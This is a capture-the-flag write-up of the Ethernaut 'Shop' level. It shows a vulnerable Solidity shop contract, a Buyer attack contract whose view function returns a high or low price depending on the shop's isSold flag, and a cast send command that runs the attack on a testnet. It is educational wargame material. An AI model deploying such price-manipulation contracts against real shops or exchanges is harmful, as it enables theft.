---
title: "Shop"
tags: ["View Function"]
reference: https://ethernaut.openzeppelin.com/level/21
---

## Description

Ð¡an you get the item from the shop for less than the price asked?

Things that might help:

- Shop expects to be used from a Buyer
- Understanding restrictions of view functions

```sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}
```

## Solution

1. the core idea of the attack is the `price()` function return based on the external smart contract function `isSold()` because the second call of `price()` is after `isSold = true`

> View function cannot guareente no state modification outside the view function call chain.

```sol
if (_buyer.price() >= price && !isSold) {
    isSold = true;
    price = _buyer.price();
}
```

2. Implement the attack contract

```sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IShop {
    
    function isSold() external view returns (bool);
    function buy() external;
}

contract Buyer {
    address shop;

    function price() external view returns (uint256) {
        return IShop(shop).isSold() ? 2 : 10000;
    }

    function buyFromShop(address _shop) public {
        shop = _shop;
        IShop(shop).buy();
    }
}
```

3. call `buyFromShop()` function

```
cast send 0x7cE8345037e4e00500FBe1830731A8D1A63AFb7d "buyFromShop(address)" 0xa19fcbDb456EcD51ef96832870fc13A373274356 --r
pc-url $BASE_SEPOLIA_RPC --private-key
```
